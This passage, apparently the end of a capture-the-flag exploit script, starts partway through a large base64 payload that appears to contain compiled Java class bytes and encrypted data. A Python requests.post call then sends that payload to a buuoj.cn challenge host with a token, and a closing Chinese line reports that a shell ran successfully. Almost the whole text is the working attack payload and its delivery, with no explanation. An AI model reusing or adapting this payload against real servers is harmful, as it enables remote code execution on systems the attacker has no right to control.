W5nL09iamVjdDspVgAhADAAMQABADIAAAAEAAEAMwA0AAIANQAAAcQABQAKAAAAsCu2AAG2AAJNLBIDtgAEThIFOgQtAzISBrYAB5kAcga9AAhZAxIJU1kEEgpTWQUtBDJTOgW4AAsZBbYADLYADToGEQQAvAg6B7sADlm3AA86CAI2CRkGGQe2ABBZNgkCnwAQGQgZBwMVCbYAEaf/6LsAElm3ABMZBLYAFBkItgAVtgAUtgAWOgQZCLYAFysRAMgZBLYAGIW2ABkrtgAaOgUZBRkEtgAbtgAcGQW2AB2xAAAAAwA2AAAASgASAAAAEgAIABMADwAUABMAFQAeABYANAAXAEEAGABIABkAUQAaAFQAGwBiABwAbwAeAIgAHwCNACEAmgAiAKAAIwCqACQArwAlADcAAABwAAsANABZADgAOQAFAEEATAA6ADsABgBIAEUAPAA9AAcAUQA8AD4APwAIAFQAOQBAAEEACQAAALAAQgBDAAAAAACwAEQARQABAAgAqABGAEcAAgAPAKEASAA5AAMAEwCdAEkARwAEAKAAEABKAEsABQBMAAAAPAAD/wBUAAoHAE0HAE4HAE8HAFAHAE8HAFAHAFEHAFIHAFMBAAAa/wAdAAUHAE0HAE4HAE8HAFAHAE8AAABUAAAABAABAFUAAQBWAFcAAQA1AAAB1wADAAwAAADBKrcAHrgAH7YAIEwrtgAhEiK2ACNNLAS2ACQsK7YAJcAAJsAAJk4tBDI6BBkEtgAhEie2ACM6BRkFBLYAJBkFGQS2ACU6BhkGtgAhEii2ACM6BxkHBLYAJBkHGQa2ACU6BhkGtgAhEim2ACM6CBkIBLYAJBkIGQa2ACU6BhkGtgAhEiq2ACM6CRkJBLYAJBkJGQa2ACXAACs6ChkKA7YALDoGGQa2ACESLbYAIzoLGQsEtgAkGQsZBiq2AC6nAARMsQABAAQAvAC/AC8AAwA2AAAAZgAZAAAAJgAEACgACwApABUAKgAaACsAJgAsACsALgA3AC8APQAwAEYAMgBSADMAWAA0AGEANgBtADcAcwA4AHwAOgCIADsAjgA8AJoAPQCiAD8ArgBAALQAQQC8AEMAvwBCAMAARAA3AAAAegAMAAsAsQBYAFkAAQAVAKcAWgBbAAIAJgCWAFwAXQADACsAkQBeAF8ABAA3AIUAYABbAAUARgB2AGEAYgAGAFIAagBjAFsABwBtAE8AZABbAAgAiAA0AGUAWwAJAJoAIgBmAGcACgCuAA4AaABbAAsAAADBAEIAQwAAAEwAAAAQAAL/AL8AAQcATQABBwBpAAABAGoAawACADUAAAA/AAAAAwAAAAGxAAAAAgA2AAAABgABAAAARwA3AAAAIAADAAAAAQBCAEMAAAAAAAEAbABtAAEAAAABAG4AbwACAFQAAAAEAAEAcAABAGoAcQACADUAAABJAAAABAAAAAGxAAAAAgA2AAAABgABAAAASgA3AAAAKgAEAAAAAQBCAEMAAAAAAAEAbABtAAEAAAABAHIAcwACAAAAAQB0AHUAAwBUAAAABAABAHAAAQB2AAAAAgB3cHQABUhlbGxvcHcBAHg1AIktOCHVvKMtLQP1MjRoPjO7lmzkpak7anxXz1dl3NbQKeYjuS+3zoHvuLUNz/cbkxn/fCGLKC1+T666yhtjtPRQlijtXKYmri0lgqsnLf+1AiwppBssFBdPulzc6RUVvyIaxS5VRT6hJW39UxS29VFLfICn7YVVsnBAs2KLv88n9SchfOwnZy+vEWqczpjVYgzzKqvfrRYlMWmABjU2vVe3mrhJsE2Aq0QISZlosvKNgPKYI07vPyK2awiDoTGSD7fU2Fy8ybcJoj9RPLNJgP/L9SgPf7iQ14O6A43LdjpYpkAChPZVWlaSvKmKP2v7eUD+cMckmAfUm+kNE6i5uMUBMVo=")
requests.post("http://7317d7de-ffb9-45c1-8dd4-c1c04e588371.node4.buuoj.cn:81/?token=HFCTF200p", data=body)
成功执行shell